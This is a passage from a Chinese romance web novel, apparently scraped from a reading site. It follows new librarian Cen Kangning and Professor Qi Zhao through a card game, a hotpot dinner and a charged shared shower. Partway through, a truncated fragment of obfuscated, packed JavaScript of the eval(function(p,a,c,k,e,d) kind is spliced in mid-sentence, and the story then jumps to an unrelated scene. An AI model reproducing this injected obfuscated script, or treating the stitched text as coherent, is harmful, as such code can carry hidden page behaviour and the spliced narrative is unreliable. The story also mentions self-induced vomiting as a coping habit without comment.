直到方才他余光瞥见夏老师电脑屏幕里的斗地主—— 终于,像是心头一块儿巨石落了地。 他知道,自己到家了。 — “夏老师是咱们馆里工作了二十多年的老员工,对馆里的所有工作都很熟悉,我已经跟她说过了,让她这几天好好带带你。小岑呐,你跟着夏老师好好学。” “好好,我一定学。” 岑康宁忙不迭点着脑袋。 胡副馆长于是再度露出满意的笑容,又看向夏玉兰,两人交换了个心知肚明的眼神:“那行,夏老师,人我就交到你手上了。” 夏玉兰说:“放心吧领导。” 胡伟也点了几下头,又再交代了岑康宁几句,然后便将双手背在身后,挺着啤酒肚慢悠悠离开了文艺馆。 他一走,馆里的空气登时有些尴尬。 夏玉兰跟胡伟显然不太一样,不是那种特别会来事儿的性格,也没什么领导或者前辈的架子。 胡伟一走,她在原地尬住了好一会儿。 直到岑康宁主动开口,问她:“夏老师,请问这里是我的工位吗?”才如梦初醒一样地回过神来。 “唉对对,这里是你的位置,本来是白老师的,她今年退休,这才引进了你。” “我听副馆长说了。” 岑康宁自如地跟夏玉兰搭着对话。 他这人别的优点没有,跟人交流还是有两把刷子的,无论什么人,除了祁钊,两三句就能跟人聊起来。 夏玉兰自然也不例外。 很快就对他热情起来。 “你坐啊,小岑老师,这座位已经帮你换过新的了,电脑跟键盘也是新的。” 说到这里夏玉兰眼里不由得流露出几分羡慕—— 新电脑好啊。 斗地主更流畅。 她的老电脑在这方面就不行,有些时候反应不灵敏,影响她抢地主了。 岑康宁却显然没想到这一层面上,只当夏老师是想让自己坐下。 但岑康宁还没想着坐下,他刚来,到底还是有点儿矜持,没好意思一来就咸鱼。 “我就先不坐了夏老师,毕竟是第一天,我想先熟悉熟悉工作环境。” 岑康宁道。 “哦,这个啊。” 夏玉兰了然:“那你具体是想熟悉哪一个环节?” 岑康宁想了想,说:“嗯,比如,我每天的工作内容是什么?” 这应该是最基础的东西。 问这个总没错。 可岑康宁万万没想到,就这么一个简单的问题,却把夏玉兰给问住了。 过了好一会儿夏老师都没说出话来,嘴唇嗫嚅好多下,终于在看到一个不远处的学生在自助机器上还书时,眼前一亮。 “对对对,这个。” 她如获至宝,带着岑康宁走去自助还书机处,说: “看到这些还回来的书了吗?我们要负责把这些书按照编码放回原有的位置上。” 岑康宁一听这话,立马撸起衬衫打算开干。 结果刚拿起一本书就被人叫住。 “唉,干嘛呢同学?” 一个年轻女孩儿的声音自身侧响起,岑康宁抬起头来,看到一个穿着Lolita洋装画着精致全妆的女孩儿。 女孩儿看着他手里的书,蹙着眉心对他说:“同学,这是我的活儿。” 岑康宁:“?” 夏玉兰这才凑过来,给两人介绍:“这位是小岑老师,刚来报道第一天。” 女孩儿于是表情大变:“什么,老师?!” “咳咳。” 夏玉兰咳嗽了两声。 女孩儿却依然没回过神来,神情恍惚道:“怎么忽然来了个这么帅这么年轻的老师啊,早知道我好好收拾一下了!” 岑康宁眨巴两下桃花眼,心说现在这身儿不算收拾吗? 不过没有把他认成网红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“夏老师,超级加倍,抢地主。”温柔清亮的嗓音在耳侧响起,夏玉兰一个激灵回过神来,手先意识一步,按照声音的建议抢了地主。 等回过神儿以后她后知后觉:“嗯?” 什么情况? 于是接下来的对话就变得简单的多。 “感觉可以明牌。” “我也觉得,直接明吧。” “行,打这个,顺子,绝对没人要。” “真的假的?顺子——还真没人要!那接下来呢?” “炸蛋!” ……弹指间,对面的两个农民欢乐豆灰飞烟灭。夏玉兰则看着自己暴涨的欢乐豆,笑得合不拢嘴。 “还是年轻人脑子好使,我还从来没赢过这么多倍。” 岑康宁腼腆笑笑,乖得不像那个一上来就让人明牌的猖狂地主:“主要还是夏老师您这把牌好,牌不好怎么打都白搭。” 夏玉兰开始对岑康宁十分满意,言语间也熟稔不少:“也是,这把确实好,比刚刚你刚来那把好多了。不过刚刚那把也不错,可惜。” 岑康宁:“哈哈。” 夏玉兰:“没事儿,以后还有机会。” 岑康宁道:“说到这个,夏老师,有个问题我想问问您。” 夏玉兰一听这话下意识地头皮发麻,以为岑康宁又要问自己工作内容。 主要是除了上书还书,她是真想不出来更多了。 哦对,还有一个给学生消磁校园卡充磁,这事儿还没交代。 想到这里夏玉兰一下子不紧张了。 结果刚想开口交代,只听岑康宁语气严肃:“我们的工作电脑,有监控吗?” 50-60 第51章 人类的一生十分短暂。 这是祁钊两岁起就明白的事实。 有记录以来世界上最长寿的人类活了一百二二岁零一百六十四天,若是换算成小时,则有1079376个小时。 十万多个小时。 乍一看上去是十分漫长的时间。 然而,若是扣除掉人类每天睡觉所需要的八个小时,1079376便会立刻成为719824,其间的损耗不可谓不令人心惊。 此外,除睡眠外,还需考虑到时间的质量问题。 人的身体从出生起不可避免走向衰老,通常而言,八十岁以后的时间质量下降到极限。 于是仅剩不多的七十多万个小时再度损耗,直至剩下可怜的494816。 连五十万都不到。 不到五十万个有效小时的生命,却要完成那么多未知课题,祁钊为此感到相当为难过,并且一度产生焦虑。 而为了解决这种焦虑。 一开始,他决定缩减睡眠时间。 从八个小时到每天睡四个小时,如此一来,睡眠时间的折损就少了一半。 然而他还没来得及为此感到欣喜,精力不充沛,身高停滞等缺陷接踵而至。 这个计划在第五天宣告流产。 后来经过反复试验,祁钊最后把睡眠时间保留在六个小时—— 既满足了身体需要的时间。 又比八小时更为缩减。 这个睡眠习惯一直延续到今天,短时间内,祁钊没有变更的打算。 对睡眠的把控结束后,祁钊尝到了控制自我的甜头,开始着手控制身体。 人类的身体是一台周密机器。 需要饮食,加运动的共同维护得以运转。 也许的确世界上有些人天赋异禀,像岑康宁这样,哪怕吃大量的糖油混合物也不会长胖,不会长痘,不会困倦。 但对于祁钊来说,显然不是。 他没办法摄入过多的碳水化合物,吃多就会犯困的同时,身体会起疹子。 后来他将症状记录下来,主动询问医生。 医生要他查过敏原。 查询结果显示,很遗憾,祁钊的这具身体不算完美,他有在人群中不算罕见的Celiac Disease(麸质过敏)。 Celiac Disease需要尽量避免小麦制品的摄入。 那天后他开始拒绝所有的小麦制品,包括每年生日的那碗长寿面。 可在他拒绝的第二天。 饭桌上依然出现长寿面。 那年祁钊五岁,个子算高,有站在厨房里的身体,却没有站在厨房里的权利。 一连很多天,相同的长寿面以不同的汤底出现在饭桌上。 他拒绝。 母亲说:“要吃长寿面的,过生日怎么能不吃面?” 祁钊严肃反驳,并拿出检验报告:“我对面粉过敏。” 母亲却坚持:“胡说,吃了这么多年,之前怎么好好的?” “……” 祁钊从一开始的抗拒。 逐渐地,学会接受。 因为他很快认识到一个事实:拒绝不会有任何的结果,相反,只会让他浪费掉更多的时间。 何况那时的祁钊也已经学会用氯雷他定、西替利嗪来缓解过敏症状。 简单的换算后。 祁钊认为,相较而言,还是接受更为节省时间。 过敏不是问题。 因为有药物。 反胃不是问题,可以催吐。 更改课题也不是问题,反正祁钊本来就对现有的课题产生厌倦,回国也许会是一个新开始。 如果更改课题可以避免每天在实验室门口见到母亲。 那么祁钊将举双手赞同。 更何况,每一次母亲都会说:“我是你妈,这世界上最爱你的人,难道还会害你不成?” 于是,在这套逻辑下,他接受了更多。 以爱为名义。 祁钊一直认为自己的做法是正确的。 毕竟在这套逻辑下,他健康生存至生命的第二十九年,马上就要迈入第三十年。 而在这漫长的时间中。 不可否认的是,除了浪费时间以外,这种爱时不时让他感到痛苦与窒息。 不是没有过抑郁,失落的情绪。 偶尔站在高楼上向下眺望时,望着楼下川流不息,蚂蚁一样黑压压的人群,时不时地,也会有难以抑制的焦躁情绪出现。 但从结果上来说,他能够克服所有困境。 二十九年间完成了自己规划好的大部分课题就是证据。 于是开始对此习以为常,并认为爱可能就是这种东西。 浪费时间。 带来过敏。 直到今天。 他站在客厅,看着岑康宁手中的餐盘。 忽然间,祁钊的脑海中涌现出一个也许足以颠覆他人生二十九年过往所有的观点。 — “我用你的橄榄油煎了三文鱼,但第一次弄,火候可能把控的不太好。” 饭桌上,岑康宁吐了吐舌头,不太好意思地说。 他自然没有告诉祁钊,其实他足足煎坏了三块儿。第一块儿的时候他担心在卫生间的祁钊,火候太过,肉糊了,锅底接触的那一面变得黑漆漆一片,遂扔掉。 第二块儿的时候他有尝试过集中注意力。 可因为太怕煎过头,反而搞得不太熟。 至于第三块儿,纯粹是岑康宁乱用铲子,出锅的时候把鱼肉弄得乱七八糟,实在没有卖相。 考虑到祁钊今天惨兮兮的经历。 岑康宁想,说什么都不能让他吃这个吧? 这才有了第四块儿,眼前这片堪称完美的香煎三文鱼。 “不会,谢谢。” 祁钊道。 说罢他提起筷子,轻轻戳在鱼肉上,夹起一块儿鱼肉,放入口中。而随着他的动作,岑康宁心中不由得泛起紧张的情绪。 “怎么样?味道还合适吗?” 他期待地问。 其实关于味道,岑康宁心里不太有底气。 虽然据他观察,平时祁钊就是简单放一点盐跟黑胡椒调味,不存在什么技术含量。 不过,万一配比有独门秘籍呢? 是以岑康宁撒盐的时候相当谨慎,就怕一个手抖把这玩意搞咸了。 幸好,祁教授在缓慢品鉴完鱼肉后。 给出了一个相当高的评价: “不会,非常完美。” 岑康宁:“真的?” 祁钊点头,认真道:“真的。” 岑康宁:“嗯,还好吧,其实也不是特别难,就一般般,你这么夸我的话我也不会特别高兴。” 有些人嘴上说着一般般,不会高兴。 实际上猫尾巴翘的老高。 一边翘尾巴,一边用亮晶晶的眼睛看向桌上的另一种食物,期待:“那这个西蓝花呢?它怎么样?” 祁钊:“首先,它是西兰苔。” 岑康宁:“不都长得一个样!” “西兰苔含有更多的蛋白质跟花青素。其次——”祁钊顿了顿,看向岑康宁: “很好吃,谢谢你。” “没什么好谢的,举手之劳而已。” 岑康宁这么回答道。 这句话倒是没有半句虚假成分,而是岑康宁真的这么想。扪心自问,他嫁给祁钊以后,享受了祁钊不少厚待。 好几次生病。 也都是祁钊整晚不睡的照顾自己。 给祁钊做顿饭算什么,岑康宁觉得这事儿再小不过,压根不值得感谢。 不过,说是这么说。 当他听到从祁钊口中说出的感谢时,他还是感到难以抑制的喜悦。 像是蜜糖在心口化开般的滋味。 带着几分侵入心脾的甜。 岑康宁品鉴着蜜糖的滋味,后知后觉的意识到自己的脸好像正在发烫。 他用手贴了一下自己的脸。 果然很烫。 为什么? 他又没有发烧,况且,那分明只是一句最普通不过的感谢而已。 岑康宁慌乱了一瞬,而为了掩盖他的慌乱,腾地一声,他拉开凳子站起身来。 “我也饿了,去厨房做点东西。” 随后几乎是落荒而逃躲进厨房。 直到用冷水洗了一把脸,才算勉强清醒。 清醒后,岑康宁冷静下来。 他没有对此事进行细究,而是果真在厨房给自己弄起吃的来。 毕竟他也的确饿了。 从下午下班到现在,因为刘海俐的不请自来,他滴米未进。 以岑康宁的胃口,其实早该饿的肚子咕咕叫,不过是因为后来发生了种种应接不暇的事情,才使得身体的反应慢了几拍。 这会儿人站在厨房,其实已经饿的快前胸贴后背。 岑康宁没想太多,只想最快速度填饱肚子。 而显然,现在厨房里他最想拿来填饱肚子的,就是刘海俐留下来的那半碗鸽子汤。 手擀面是不可能了。 岑康宁起锅烧水,最快速度给自己下一碗挂面。 简简单单的挂面,配上荷包蛋青菜鸽子汤,方才就馋的他不轻。 当然。 这碗面不能放太久。 否则就会重蹈祁钊方才的悲剧。 于是五分钟后,岑康宁端着一碗刚刚出锅的鸽子汤挂面来到饭桌。 “我就不客气了。” 他迫不及待地拿起筷子道。 “等……” 说时迟那时快,就在祁钊叫停他的一瞬,一大筷子面已经被饿到理智全无的岑康宁送进嘴里。 然后—— 嗯,谁能告诉他这是什么玩意? “呸呸呸!” 卫生间里。 不停漱口的人换成了岑康宁。 他顶着一张漱口漱到皱巴巴的脸,百思不得其解。 “为什么啊?为什么会有那么重的姜味?” 祁钊看到他这副模样,觉得好笑又心疼,给他递上薄荷漱口水的同时,淡淡说:“我妈喜欢用姜汤炖鸽子,认为这样祛寒。” 岑康宁:“……” “你怎么不早说!” 岑康宁一边漱口一边控诉。 早说的话,他绝对不用那碗鸽子汤了,哪怕是清汤挂面,或者泡面呢,也比这碗姜汤面好吃。 毕竟岑康宁这个人的口味虽然偏重。 但所有的食物里,唯独最不喜欢姜。 有一两片拿来调味还行,一整碗都是姜味的话,岑康宁就一个反应,想yue—— “我是想说的,可惜,没来得及。” 祁钊又递来一个毛巾:“谁让有人那么心急?” 岑康宁嘴巴里的味道这会儿已经淡了,祁钊不愧是对此有经验的过来人。薄荷味的漱口水几乎是一进嘴,那股子挥之不去的姜味就彻底离岑康宁远去。 不过姜味倒是淡了。 薄荷味也没好多少。 岑康宁接过毛巾,看着好整以暇的祁教授,此时此刻心中就一个想法:“不行,作为补偿,你开车带我吃火锅去。” 祁钊:“……” — 二十分钟后。 本该今晚在实验室通宵加班的祁钊,出现在一家市区的火锅店前。 还没停好车,几乎是刚一到火锅店门口,岑康宁就先一步松开安全带下了车。 “我先去点菜点锅底,钊哥你停好车上来找我。” 说罢人一溜烟不见。 祁钊想叫停都没来得及。 祁钊便只好一个人在拥挤的地表停车场寻找位置,一直兜了三四个大圈子后,终于遇到有人离开,将车停进停车位里。 而这时。 坐在火锅店二楼上的岑康宁已经速度飞快,点好了菜肉及锅底。 “锅底要加麻加辣,我喜欢口味重点。” 点好后,岑康宁对服务员交代道。 “好嘞,帅哥稍等。” 服务员一脸高兴地捧着点餐单,转身前,忍不住多看了岑康宁一眼: “帅哥,我刚刚看你油碗只要一份,一个人来吃火锅啊?” 岑康宁还没来得及回复,服务员的身后,一道没什么感情的声音传来: “两位,加一份料碟。” 岑康宁:“!” 桃花眼里登时泛起名为震撼的光芒。 祁钊入座后,岑康宁迫不及待就问:“你不是不吃外头的饭吗?怎么今天忽然转性?” 岑康宁其实想问,是不是今天心情不太好,所以想要用特殊的食物来发泄。 然而却见祁钊慢条斯理脱下外套,卷起衬衫袖口:“水果也算自助料碟。” “原来如此。” 岑康宁了然。 说罢他挑眉,看了眼祁钊:“怎么说?那跟我一起去?” 两分钟后。 岑康宁端着自己的料碗,分享欲达到顶峰:“我跟你说,就我这个料碗配方,拿来拌鞋底都好吃。真的,不好吃你来揍我都行。” 而祁钊看了一眼他碗里五颜六色混杂在一起的各式调料,说实话,很难想象这些东西混在一起会好吃。 但忽然间又觉得,如果自己说不好吃的话,岑康宁会很伤心。 祁钊不太愿意让岑康宁伤心。 于是第一次很违心地夸赞:“的确,一看就好吃。” 岑康宁听完果然高兴,桃花眼弯成小月牙的形状,笑眯眯:“真的啊钊哥?你这么说我可就要让你待会儿尝尝了。” 祁钊:“……” “哈哈。” 岑康宁笑出声来,拍拍祁钊的肩膀:“逗你的,吃你的香蕉柚子去。” 祁钊没说话,只默默地转身拿了一些橙子作为抗议。 很快,两人回到餐桌上。 加麻加辣的锅底已经上了。 虽然店里今天人很多,不过因为两人来得晚,所以基本上其他桌都已经吃到尾声了,不太需要服务。 也因此原因不仅锅底上得快,菜品也上得快。 不一会儿的功夫牛肉卷毛肚还有岑康宁喜欢的大刀腰片全上了。 岑康宁早已饿到失去理智。 锅刚一开,立刻就把一整盘的牛肉卷下了进去。 一边下他一边碎碎念:“反正你不吃,我就随意了哈。” 祁钊本来是很同意他这个说法的。 可七八秒后。 火锅开了,全红的锅底咕嘟咕嘟冒着透明水泡,一股很奇特的,前所未有的味道从锅里飘散了出来。 祁钊看到岑康宁迫不及待从锅底里捞出一筷子牛肉,放进他自己刚刚特调的料碗里。 刚出锅的牛肉配上油碟。 岑康宁埋头吃的滋滋有味,全神贯注,连祁钊对他说话都没听见。 直到吃完了一整盘的牛肉。 他恍然抬起脑袋,眨眨眼:“啊?你刚刚说什么了?我好像有点没听清。” 祁钊盯着他艳红的嘴唇,迟疑道:“我说,要不我也试试。” 岑康宁:“好啊!” 祁钊愿意主动尝试自己喜欢的食物,是岑康宁做梦都会笑出声来的场景之一。 天知道他多想让祁钊知道麻辣火锅麦麦脆汁鸡的美味。 奈何祁教授是个老古板,每天雷打不动吃自己的健康食品。 岑康宁以前不了解其中的缘故,只觉得可惜;后来大概对这件事有些猜测,觉得可惜也觉得有些同情。 尤其是经历了今天下午的事情以后,岑康宁觉得自己应该这辈子都不会主动邀请祁钊尝试其他食物了。 但这不代表着祁钊不能主动提出申请。 岑康宁决定抓住这个机会,绝不让祁钊失望。 “钊哥你先看看桌上这些菜你能接受哪一种,可以从特定的食物开始。” 岑康宁说道。 祁钊扫了所有菜品一眼,没怎么迟疑地选择:“油麦菜。” “不行不行!这个太辣太吸油,刚开始吃的话你受不了的。” “那土豆?” “这个也不行,熟太慢了,熟了也不怎么入味。” 祁钊:“……” “算了,还是我来推荐吧。”岑康宁泄气道,随后他用公筷夹了一筷子毛肚放进沸腾的红锅里。 七上八下。 “熟了。” 岑康宁道。 说罢他立刻将毛肚捞出来,放进祁钊面前的餐碟。 而祁钊看着眼前黑色的牛胃切片,其实,不是没有过犹豫。 人走出舒适区是很难的。 祁钊也不例外。 甚至可以说,比起寻常人祁钊更讨厌走出舒适区。 因为走出舒适区意味着风险,意味着浪费时间重新适应,也许最终得到一个很不好的结果。 但岑康宁正期待地看着他。 祁钊最终伸出筷子,将这片毛肚送进嘴里。 半晌他咀嚼完毕。 岑康宁看着祁钊没什么表情的脸,内心已经紧张到连他自己的毛肚都快吃不下去了。 岑康宁是很饿的。 毛肚也是他最喜欢的火锅食材之一。 但人就是这样,如果自己喜欢且分享出去的食物没有得到认可,就会觉得很遗憾。 挠心挠肺的。 所以祁钊为什么能没反应呢? “好吃?还是不好吃?” 岑康宁郁闷说:“你总得给个评价吧。” 祁钊于是终于说出第一个字:“辣。” 岑康宁:“哦,肯定了,我这份锅底比较辣。那除了辣呢?” “舌尖有痛感。” 祁钊在半分钟后继续评价。 岑康宁道:“很正常啦,有人说辣其实是一种痛觉。”说罢感到一种很淡的遗憾。 觉得辣的话。 好像今天没办法让祁钊接受火锅了。 “的确。” 祁钊肯定了这个说法,然后用公筷,又下了一片毛肚进去。 岑康宁:“?” 不是说辣吗? 他都打算劝祁钊辣就算了,结果姓祁的这么做? 一分钟后。 祁钊再度评价:“还是辣。” 岑康宁:“……” 第五次听到辣的评价后,岑康宁终于忍不住吐槽:“辣就别吃了,下回我们吃不那么辣的锅底。” 祁钊却摇头拒绝。 过了好一会儿,岑康宁一边吃着自己料碗里的毛肚,一边用眼尾余光不停地瞟着对面被辣的鼻尖都在冒汗的祁钊,忽然脑海中浮现出一个大胆的猜想: 有没有一种可能,祁钊就是喜欢辣呢? 建立在这个基础上,一切似乎就明朗起来。 所以祁钊才会一边说辣,一边又忍不住地将毛肚丢进锅里。 要是不喜欢的话,以祁教授的性格,恐怕早就筷子一扔,漱口去了。 而想通了这一点后,岑康宁终于长长松了口气。不仅不担心祁教授不喜欢火锅了,且十分爽快地又拿起手机—— 大胆加菜加肉去了! 虽说这样一来的后果就是不久后Cybertruck车中,岑康宁捂着肚子抑制不住地笑出眼泪。 祁钊面无表情:“可以不笑了吗?” 岑康宁:“噗……对不起……” 说实话,岑康宁真的很不想笑,可是祁钊的嘴巴被辣到肿的画面真的很难不笑。 那么矜贵高冷的祁教授,结果嘴巴被火锅辣肿了。 如果不是怕被谋杀。 岑康宁也许会偷偷拍下这一幕,作为今后永恒的笑话珍藏。 那一定是他被黄家人一家老小围攻的时候看到,也会笑出声来的画面。 可惜,他怎么就不敢拍呢? 正遗憾着,却只听车内咔嚓一声。 有人拍下了自己的照片。 “岑康宁。”祁钊唇角微微上扬,语气里不无几分报仇成功的得意,“其实,你也是一样的。” 岑康宁:“不许拍!!!” 说着岑康宁就要上手去抢手机,可常年健身的祁教授反应能力又岂是等闲? 几乎是一瞬间祁钊就轻巧地避开了岑康宁的手。 岑康宁扑了个空,没抓到手机。 正懊恼着某人的可恶,但这时他忽然意识到,虽然手机没抓到,却抓到了另一个东西。 那东西正好就在他手掌心里。 原本很安静,像蛰伏的猛兽,这会儿却因为他忽然而来的袭击,正在慢慢苏醒…… 作者有话说: 小段子一则 后来岑康宁无意中提起那天晚上,很好奇祁钊躲在卫生间里到底做了什么 “不会在偷偷躲着哭鼻子吧?” 岑康宁好奇道。 然而只见祁钊反手发给他一篇《science》文献—— “Immune cells orchestrate glucagon production during fasting”,《禁食期间免疫细胞协调胰高血糖素的产生》。 第52章 嗖!地一下。 肉眼不可见的速度,岑康宁挪开手,仿佛手心里那玩意是什么定时炸/弹一样。 虽说,那玩意也确实跟定时炸/弹差不多。 岑康宁清晰无比地记得它苏醒以后的模样,记得它是如何在自己身体里“炸开”的。 其实他很想把一切都当做梦境。 睡醒后统统忘记。 奈何这些记忆就像刻在骨子里一样,无论何时何地,只要一个简单的由头,就会立刻浮现与他的眼前。 但让岑康宁感到惊讶的是。 原来,祁钊也并没有忘记。 一直以来祁钊淡定的表现都让他产生了一个误会,那便是周五晚上的约定结束后,他就会立刻变回那个性冷淡的机器人,像是魔法失灵的灰姑娘。 可方才祁钊的反应…… 下意识地,岑康宁摩挲了下手指。 那股灼热的温度似乎还没有完全褪去,指尖是烫的,掌心也烫。 滚烫的温度从手掌开始一路蔓延。 逐渐地,夜色中,后视镜里映出一张弥漫着淡淡绯红的脸。 岑康宁:“……” 他该庆幸自己的嘴唇也被辣肿了,否则此时此刻他的反应就会是—— 这谁? 妖魔鬼怪快从我的身体里爬出去! — 回去的路上岑康宁很安静。 除了嚷嚷着要让祁钊把偷拍自己的黑历史删掉以外,一路上几乎没怎么说话。 祁钊以为他是担心自己的丑照被流传,解释道:“没有真的拍,只是骗你。” 岑康宁不信:“那你让我看你手机。” 祁钊毫不犹豫把手机递给他。 “密码000000。” 岑康宁解锁屏幕的手一顿,斜眼睨他,开玩笑地问:“不会吧,这么简单的密码,不怕有人偷看吗?” “不会有人偷看,除了你。” 祁钊目视前方,淡淡地道。 岑康宁一边解锁手机一边替自己辩解:“我这不叫偷看,叫维权!维权,懂吗?” 昏暗的车厢里。 祁钊似乎是轻笑了一声。 但那声音实在是太轻了,轻到风一吹就很快散开,是以岑康宁没怎么注意到,注意力全部集中在眼前的手机上。 他是为了删自己丑照而去的。 解锁后,自然第一时间就直奔相册。 不过正如祁钊所言,相册里并没有留下他“香肠嘴”的痕迹,已删除里也没有。 也就是说,祁钊方才的确没拍。 可方才没拍,以前呢? 岑康宁不信邪地往前又翻了几页。反正祁钊肯把手机给他,就意味着这里头肯定没什么秘密。 果然没翻几页后。 岑康宁便翻到一张照片,是属于自己的。 照片里的他躺在床上,手里紧紧地攥着一支笔,一叠协议,怀里还抱着一只小老鼠猫玩具。哪怕是睡着了,嘴巴也好像在倔强地嘟起,仿佛受了什么天大的委屈。 岑康宁:“?” 祁钊:“哦,这张,我要留下证据,证明你是自己主动签订的协议。” 岑康宁脸一黑:“不行,删掉。” 说罢他手指一动,立刻选择删除。 不过删除之前,鬼使神差下,他把这张照片以及祁教授被印在宣传海报上的证件照一并传送至自己的手机。 祁钊看到了。 但什么也没说,也没有拒绝。 一身火锅味的两人回到公寓的时候已经快十一点。 房间里已经被钟点工上门收拾干净,整洁的空间里弥漫着海盐柠檬清洁剂的味道,一度让岑康宁产生其实鸽子汤与红烧肉都不曾存在过的错觉。 然而此刻站在自己身边的祁钊提醒着岑康宁。 那绝不是错觉。 毕竟若是放在往常,这会儿祁教授一定早就睡着了,哪里还会身上带着一股火锅味的站在客厅。 不过这样想来,今天所发生的一切也不算太糟糕。 至少祁钊最后品尝到了真正喜欢的食物,不是吗? 岑康宁浑身卸了劲儿,伸了个大大的懒腰,打着哈欠说:“那我去洗澡了,钊哥。” 祁钊点点头,自己也走向浴室,像是最平常不过的每一天。 然而,意外总是发生在最不经意的时刻。 只有自己一个人的浴室里,岑康宁哼着歌,冷水从淋浴头冲刷而下,将所有疲惫与烦恼都冲走,顺带也冲走他从车上开始就说不清道不明的异样情绪。 可眼看着一切就要消失不见的时候。 忽然,水流兀地停止了。 正顶着一头泡沫的岑康宁:“?” 不是,还能不能行了! 岑康宁不得不暂停手中的动作,开始在浴室里兼职维修工人。 其实他对维修这些东西还是小有心得的。 毕竟从小就打工,经常黄家有什么东西坏了也找自己。 可祁钊这个次卧套间里的洗浴用品肉眼可见的高级,高级到根本没留下一点儿让岑康宁把它拆开钻研的空隙。 无头苍蝇一样摆弄了许久后。 岑康宁宣告放弃。 好消息是祁钊的这套公寓足够大,一共安装了三间浴室,所以次卧套间里的这间坏了,岑康宁还可以去健身房里的。 坏消息,今天祁钊不知怎么回事,没去主卧,也在健身房浴室。 “你怎么在这里?”/“浴室坏了?” 两人的声音异口同声响起。 在健身房狭小的浴室里显得格外滑稽。 毕竟一个人正在冲澡,而另一个人头上还顶着许多白色泡沫,谁也不比谁体面。 水气朦胧的浴室里,岑康宁尴尬站在门口,声音郁闷无比:“是坏了。我正洗着呢,忽然水停了。” 祁钊的声音则带着些许无奈,他按下水龙头,以便于两人沟通更为清晰:“我就知道……” 次卧套间的卫生间跟浴室是后改的。 因为一开始祁钊根本没想过会有人住,所以不曾预留进水管道。 后来重修装修改造的时候,他便想过也许会出问题。 但装修工人给他保证,绝对不可能。 因为时间紧迫的缘故,祁钊暂且选择相信。 但果然,隐患之所以被称之为隐患,就是在于它的不确定性。 现在说这件事也已经晚了。 祁钊对岑康宁道:“一起洗吧,等明天我叫人上门检修。” “哦,行。” 岑康宁应了一声,下意识地往前迈了一步。 可刚走出一步,忽然,他脑子嗡地一声响。 等等……他这是在做什么? 跟祁钊一起洗澡? 且不论祁钊为什么会同意,他怎么能同意呢! 毕竟是两人第一次在清醒的状态下赤/裸相见,说实话,岑康宁完全没做好心理准备。 刚刚推门的时候是懵了。 他没想过祁钊不在主卧,竟然在这里。 现在懵逼结束,他尴尬地脚趾扣地,眼睛都不知道放在哪里。 而祁钊竟然还要他过去,两人一起洗…… 不行了。 一想到那个场景,画面。 岑康宁整个人都不太好。 他甚至宁愿用水龙头里的水把头顶的泡沫冲掉也不想过去。 可下一句“要不我还是先走”说出口前,一只手不由分说地来到他身边,往前轻轻一拉,下一秒,热水浇在了他的头顶。 视线模糊朦胧的水雾里。 岑康宁感到皮肤升温的同时,听到祁钊的声音在自己耳畔响起。 “烫吗?” 岑康宁很迟缓地说:“……不烫。” 其实水温是有些偏高的。 尤其是他方才从外面走进来,失温的皮肤触及到温热的水流,立刻适应几乎是不可能的事情。 但有些东西评价起来要看对比。 就比如说对此刻的岑康宁而言,打在他头顶的热水肯定不如祁钊手上传来的温度高。 也许是因为曾经给醉酒的岑康宁洗过两次澡的缘故。 这一次,他接手的相当自如。 无论是给岑康宁冲头发,亦或是给他递沐浴露,递护发素。祁钊的动作像是已经重复过许多遍一样熟练。 可问题是……这一次岑康宁没醉。 皮肤后知后觉地发烫。 狭窄的浴室里水雾弥漫,谁也看不清彼此的表情。 不知什么时候开始。 两人都不说话了。 浴室里只传来水流哗啦啦的声音,偶尔,掠过某种说不清道不明的呼吸。 健身房这个浴室本来就是为了健身后简单冲澡建的。 很小,几乎没有容纳第二个人的空间。 所以强行挤进来第二个人的后果,就是两个人连呼吸有时都纠缠在一起。 虽说在海盐柠檬的日夜不懈熏陶下。 岑康宁与祁钊身上的味道已经非常相似。 但不知为何,岑康宁就是能闻出属于祁钊身上那股特别的味道。 那味道很难用文字来描述。 大体上而言,应当是由消毒酒精的味道,淡淡的麝香,与海盐柠檬组合在一起形成的气味。 可那本该是一股相当冷冽的味道。 远远闻着,就拒人于千里之外。 却不知为何对岑康宁的作用恰恰相反,让他控制不住地想要接近。 岑康宁从未觉得洗澡这么漫长过。 他洗澡通常只需要五分钟左右。 洗头,冲头,打沐浴露,冲身体。 作为一个天天洗澡的男人,岑康宁实在无法理解有人洗澡会洗十分钟以上。 但今天他算是开了眼。 祁钊竟然洗了十五分钟? 他人都快蒸熟了,还没结束。 为什么? 因为祁钊洁癖,今天吃饭的火锅味道比较大所以需要多洗一会儿吗? 还是说,因为今天下午的那碗红烧肉与长寿面。 又或者……因为岑康宁的原因。 岑康宁低下头使劲儿往自己身上打泡沫,没敢对此事进行细想,因为不细想的情况下,他也已经有些承受不住。 好不容易挨到洗澡结束,岑康宁身体的某个器官已经明显到不用手遮就完全暴露无遗的地步。 幸好这浴室比较小。 水雾遮掩了部分尴尬。 岑康宁便说:“那我先出去。” 祁钊不赞同:“我给你拿浴巾。” 岑康宁尴尬:“不用了吧,距离这么近,我跑两步回去拿浴巾就行。” 祁钊还是不赞同:“会感冒。” 祁钊的话总是不带很重的语气,但自有一种不容置喙的力度。 要是放在以往,岑康宁肯定就听他的了。 但今天不太一样,岑康宁想。 要是被祁钊发现自己身体的异样,那就糗大了。 虽说,岑康宁本来在祁钊面前没什么颜面,再窘迫的模样祁钊都见过。 可唯独这个周四的晚上。 岑康宁不太想。 于是果断拧开浴室大门,想要像之前不请自来一样,不告而别。 但他到底是低估祁钊的坚持。 刚刚还看上去要再洗十分钟的人此刻竟然先他一步走出浴室,替他拿浴巾。 岑康宁站在门口人都快傻了,心想他到底要怎么样才能不尴尬地走过去擦身体? 幸好很快他释然了。 因为某人的身体状况竟然比他还要更加明显。 岑康宁瞟了一眼后脸热地把眼神移开,心想:“靠——原来你也有反应。” 早说啊! 早说的话…… 干浴巾的触感将岑康宁思绪打断,他胡乱地擦干着头发跟身体,脑子里开始想一些乱七八糟的问题。 他想祁钊出现在这个浴室的原因。 不在主卧洗澡,是因为傍晚在主卧卫生间催吐过的缘故吗? 因为会联想到一些不太好的回忆,所以刻意选择了避开。 又想祁钊坐在饭厅座椅上抬起头来的那个表情。 岑康宁从未见过祁钊身上出现这种眼神,冷漠的,空洞的,仿佛这个世界的一切他都不再在意。 不由得,他心头一紧。 一种难以言喻的痛感又再度袭来。 